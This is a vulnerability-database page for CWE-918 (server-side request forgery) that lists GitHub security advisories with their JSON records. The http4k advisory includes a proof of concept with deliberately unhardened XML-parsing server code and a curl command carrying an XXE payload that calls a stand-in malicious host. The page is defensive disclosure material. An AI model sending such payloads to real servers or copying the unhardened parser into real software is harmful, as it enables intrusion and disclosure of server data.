Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4733 vulnerabilities reference this CWE, most recent first.

GHSA-7JVH-4MQP-GF66

Vulnerability from github – Published: 2024-09-23 18:30 – Updated: 2024-09-25 03:30
VLAI
Details

An issue in Doccano Open source annotation tools for machine learning practitioners v.1.8.4 and Doccano Auto Labeling Pipeline module to annotate a document automatically v.0.1.23 allows a remote attacker to escalate privileges via the model_attribs parameter.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-40441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-23T17:15:13Z",
    "severity": "MODERATE"
  },
  "details": "An issue in Doccano Open source annotation tools for machine learning practitioners v.1.8.4 and Doccano Auto Labeling Pipeline module to annotate a document automatically v.0.1.23 allows a remote attacker to escalate privileges via the model_attribs parameter.",
  "id": "GHSA-7jvh-4mqp-gf66",
  "modified": "2024-09-25T03:30:35Z",
  "published": "2024-09-23T18:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/doccano/auto-labeling-pipeline/releases/tag/v0.1.23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/doccano/doccano/releases/tag/v1.8.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gian2dchris/CVEs/tree/main/CVE-2024-40441"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7JVR-HF5M-XMJJ

Vulnerability from github – Published: 2022-04-26 00:00 – Updated: 2022-05-06 00:01
VLAI
Details

Jizhicms v1.9.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via /admin.php/Plugins/update.html.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-27429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-25T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Jizhicms v1.9.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via /admin.php/Plugins/update.html.",
  "id": "GHSA-7jvr-hf5m-xmjj",
  "modified": "2022-05-06T00:01:20Z",
  "published": "2022-04-26T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27429"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cherry-toto/jizhicms/issues/67"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7M2P-62GW-P8QQ

Vulnerability from github – Published: 2026-06-09 06:31 – Updated: 2026-06-09 06:31
VLAI
Details

Due to incorrect host parsing, applications that rely on UriComponentsBuilder to parse and validate an externally provided URL string may be exposed to a server-side request forgery (SSRF) attack.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18.

Severity
4.2 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-41854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T05:16:37Z",
    "severity": "MODERATE"
  },
  "details": "Due to incorrect host parsing, applications that rely on UriComponentsBuilder to parse and validate an externally provided URL string may be exposed to a server-side request forgery (SSRF) attack.\n\nAffected versions:\nSpring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18.",
  "id": "GHSA-7m2p-62gw-p8qq",
  "modified": "2026-06-09T06:31:58Z",
  "published": "2026-06-09T06:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41854"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-41854"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7M34-7CHV-8X87

Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31
VLAI
Details

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is affected by a server-side request forgery vulnerability with the adminCenter-1.0 feature enabled.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-11546"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T20:17:27Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is affected by a server-side request forgery vulnerability with the adminCenter-1.0 feature enabled.",
  "id": "GHSA-7m34-7chv-8x87",
  "modified": "2026-06-30T21:31:44Z",
  "published": "2026-06-30T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11546"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7278572"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7M4R-MVJ2-XJPX

Vulnerability from github – Published: 2024-05-03 18:30 – Updated: 2024-07-03 18:38
VLAI
Details

TwoNav 2.1.13 contains an SSRF vulnerability via the url paramater to index.php?c=api&method=read_data&type=connectivity_test (which reaches /system/api.php).

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-34453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T18:15:10Z",
    "severity": "MODERATE"
  },
  "details": "TwoNav 2.1.13 contains an SSRF vulnerability via the url paramater to index.php?c=api\u0026method=read_data\u0026type=connectivity_test (which reaches /system/api.php).",
  "id": "GHSA-7m4r-mvj2-xjpx",
  "modified": "2024-07-03T18:38:50Z",
  "published": "2024-05-03T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34453"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tznb1/TwoNav/issues/9#issuecomment-2022194939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tznb1/TwoNav/compare/v2.1.13-20240321...v2.1.14-20240419"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7M83-4F94-8QQR

Vulnerability from github – Published: 2024-10-25 21:31 – Updated: 2024-10-30 21:30
VLAI
Details

An issue was found in mipjz 5.0.5. In the mipPost method of \app\setting\controller\ApiAdminTool.php, the value of the postAddress parameter is not processed and is directly passed into curl_exec execution and output, resulting in a Server-side request forgery (SSRF) vulnerability that can read server files.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-48232"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-25T21:15:04Z",
    "severity": "MODERATE"
  },
  "details": "An issue was found in mipjz 5.0.5. In the mipPost method of \\app\\setting\\controller\\ApiAdminTool.php, the value of the postAddress parameter is not processed and is directly passed into curl_exec execution and output, resulting in a Server-side request forgery (SSRF) vulnerability that can read server files.",
  "id": "GHSA-7m83-4f94-8qqr",
  "modified": "2024-10-30T21:30:38Z",
  "published": "2024-10-25T21:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48232"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sansanyun/mipjz/issues/17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7M9C-P64G-7PCW

Vulnerability from github – Published: 2025-07-07 06:30 – Updated: 2025-07-07 06:30
VLAI
Details

Server-side request forgery (SSRF) vulnerability exists n multiple versions of Nimesa Backup and Recovery, If this vulnerability is exploited, unintended requests may be sent to internal servers.

Severity
7.3 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
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{
  "affected": [],
  "aliases": [
    "CVE-2025-53473"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-07T05:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery (SSRF) vulnerability exists n multiple versions of Nimesa Backup and Recovery, If this vulnerability is exploited, unintended requests may be sent to internal servers.",
  "id": "GHSA-7m9c-p64g-7pcw",
  "modified": "2025-07-07T06:30:24Z",
  "published": "2025-07-07T06:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53473"
    },
    {
      "type": "WEB",
      "url": "https://aws.amazon.com/marketplace/seller-profile?id=08fb48d1-5d60-4feb-93c6-c0c219278a2c"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN88251376"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7MH9-PM6V-7VQQ

Vulnerability from github – Published: 2022-05-17 02:59 – Updated: 2022-05-17 02:59
VLAI
Details

IBM Forms Experience Builder could be susceptible to a server-side request forgery (SSRF) from the application design interface allowing for some information disclosure of internal resources.

Severity
3.1 (Low)
CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2016-6001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-01T22:59:00Z",
    "severity": "LOW"
  },
  "details": "IBM Forms Experience Builder could be susceptible to a server-side request forgery (SSRF) from the application design interface allowing for some information disclosure of internal resources.",
  "id": "GHSA-7mh9-pm6v-7vqq",
  "modified": "2022-05-17T02:59:58Z",
  "published": "2022-05-17T02:59:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6001"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=swg21991280"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95777"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7MHQ-HM3W-MQPR

Vulnerability from github – Published: 2025-09-09 15:31 – Updated: 2025-10-20 21:30
VLAI
Details

A server-side request forgery security issue exists within Rockwell Automation ThinManager® software due to the lack of input sanitization. Authenticated attackers can exploit this vulnerability by specifying external SMB paths, exposing the ThinServer® service account NTLM hash.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-9065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T13:15:32Z",
    "severity": "HIGH"
  },
  "details": "A server-side request forgery security issue exists within Rockwell Automation ThinManager\u00ae software due to the lack of input sanitization. Authenticated attackers can exploit this vulnerability by specifying external SMB paths, exposing the ThinServer\u00ae service account NTLM hash.",
  "id": "GHSA-7mhq-hm3w-mqpr",
  "modified": "2025-10-20T21:30:27Z",
  "published": "2025-09-09T15:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9065"
    },
    {
      "type": "WEB",
      "url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1743.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7MJ5-HJJJ-8RGW

Vulnerability from github – Published: 2024-12-12 19:22 – Updated: 2026-06-09 10:42
VLAI
Summary
http4k has a potential XXE (XML External Entity Injection) vulnerability
Details

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Example Vulnerable server code:

import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document

fun main() {

    val xmlLens = Body.xml().toLens()

    // Create an HTTP handler
    val app: HttpHandler = { request ->
        try {
            // Parse the incoming XML payload to a Document object
            val xmlDocument: Document = xmlLens(request)

            // Extract root element name or other details from the XML
            val rootElementName = xmlDocument.documentElement.nodeName

            // Create a response XML based on the extracted information
            val responseXml = """
                <response>
                    <message>Root element is: $rootElementName</message>
                </response>
            """.trimIndent()

            // Respond with XML
            Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
        } catch (e: Exception) {
            // Handle invalid XML or other errors
            Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
        }
    }

    // Start the server
    val server = app.asServer(Netty(9000)).start()
    println("Server started on http://localhost:9000")
}

Maven dependency:

<dependencies>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-test-junit5</artifactId>
            <version>1.9.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter-engine</artifactId>
            <version>5.10.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-stdlib</artifactId>
            <version>1.9.0</version>
        </dependency>

        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-core</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- Http4k XML format -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-format-xml</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- http4k Netty -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-server-netty</artifactId>
            <version>5.40.0.0</version>
        </dependency>
    </dependencies>

Exploit payload example to trigger SSRF

curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"

Impact

What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability

Follow-up patch — v6.50.0.0 (May 2026)

The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting ACCESS_EXTERNAL_DTD="", ACCESS_EXTERNAL_SCHEMA="", and isExpandEntityReferences=false on the default DocumentBuilderFactory.

A residual gap remained: the parser still accepted documents containing <!DOCTYPE> declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using Body.xml() or Document.asXmlDocument() on untrusted XML.

v6.50.0.0 closes this residual by adding disallow-doctype-decl=true and FEATURE_SECURE_PROCESSING=true to defaultXmlParsingConfig. Any document containing a <!DOCTYPE> is now rejected at parse time.

Follow-up affected & fixed versions

Version Fixed Version
>= 5.41.0.0, < 6.50.0.0 6.50.0.0

v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact enterprise@http4k.org if you need it.

Follow-up timeline

Date/time (UTC) Notes
31/05/2026 17:12 Follow-up patch merged (commit c0cfaf5d63) with new tests for <!DOCTYPE> rejection and billion-laughs payload rejection
31/05/2026 18:06 http4k v6.50.0.0 released to Maven Central
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.http4k:http4k-format-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.50.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-611",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-12T19:22:01Z",
    "nvd_published_at": "2024-12-12T19:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThere is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\nhttps://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46\nXML contents is parsed with DocumentBuilder without security settings on or external entity enabled\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Example Vulnerable server code:\n```\nimport org.http4k.core.*\nimport org.http4k.format.Xml.xml\nimport org.http4k.server.Netty\nimport org.http4k.server.asServer\nimport org.w3c.dom.Document\n\nfun main() {\n\n    val xmlLens = Body.xml().toLens()\n\n    // Create an HTTP handler\n    val app: HttpHandler = { request -\u003e\n        try {\n            // Parse the incoming XML payload to a Document object\n            val xmlDocument: Document = xmlLens(request)\n\n            // Extract root element name or other details from the XML\n            val rootElementName = xmlDocument.documentElement.nodeName\n\n            // Create a response XML based on the extracted information\n            val responseXml = \"\"\"\n                \u003cresponse\u003e\n                    \u003cmessage\u003eRoot element is: $rootElementName\u003c/message\u003e\n                \u003c/response\u003e\n            \"\"\".trimIndent()\n\n            // Respond with XML\n            Response(Status.OK).body(responseXml).header(\"Content-Type\", \"application/xml\")\n        } catch (e: Exception) {\n            // Handle invalid XML or other errors\n            Response(Status.BAD_REQUEST).body(\"Invalid XML: ${e.message}\")\n        }\n    }\n\n    // Start the server\n    val server = app.asServer(Netty(9000)).start()\n    println(\"Server started on http://localhost:9000\")\n}\n```\n#### Maven dependency:\n```\n\u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-test-junit5\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.junit.jupiter\u003c/groupId\u003e\n            \u003cartifactId\u003ejunit-jupiter-engine\u003c/artifactId\u003e\n            \u003cversion\u003e5.10.0\u003c/version\u003e\n            \u003cscope\u003etest\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n            \u003cartifactId\u003ekotlin-stdlib\u003c/artifactId\u003e\n            \u003cversion\u003e1.9.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-core\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- Http4k XML format --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-format-xml\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n\n        \u003c!-- http4k Netty --\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n            \u003cartifactId\u003ehttp4k-server-netty\u003c/artifactId\u003e\n            \u003cversion\u003e5.40.0.0\u003c/version\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n```\n#### Exploit payload example to trigger SSRF\n`curl -X POST http://localhost:9000 -H \"Content-Type: application/xml\" -d \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\u003c!DOCTYPE root [\u003c!ENTITY xxe SYSTEM \\\"https://replace.with.your.malicious.website/poc\\\"\u003e]\u003e\u003croot\u003e\u0026xxe;\u003c/root\u003e\"`\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability\n\n### Follow-up patch \u2014 v6.50.0.0 (May 2026)\n\nThe original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=\"\"`, `ACCESS_EXTERNAL_SCHEMA=\"\"`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`.\n\nA residual gap remained: the parser still **accepted** documents containing `\u003c!DOCTYPE\u003e` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML.\n\n  **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `\u003c!DOCTYPE\u003e` is now rejected at parse time.\n\n#### Follow-up affected \u0026 fixed versions\n\n  | Version | Fixed Version |\n  |---------|---------------|\n  | `\u003e= 5.41.0.0, \u003c 6.50.0.0` | **6.50.0.0** |\n\nv6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it.\n\n#### Follow-up timeline\n\n  | Date/time (UTC) | Notes |\n  |-----------------|-------|\n  | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `\u003c!DOCTYPE\u003e` rejection and billion-laughs payload rejection |\n  | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |",
  "id": "GHSA-7mj5-hjjj-8rgw",
  "modified": "2026-06-09T10:42:52Z",
  "published": "2024-12-12T19:22:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/http4k/http4k"
    },
    {
      "type": "WEB",
      "url": "https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http4k has a potential XXE (XML External Entity Injection) vulnerability"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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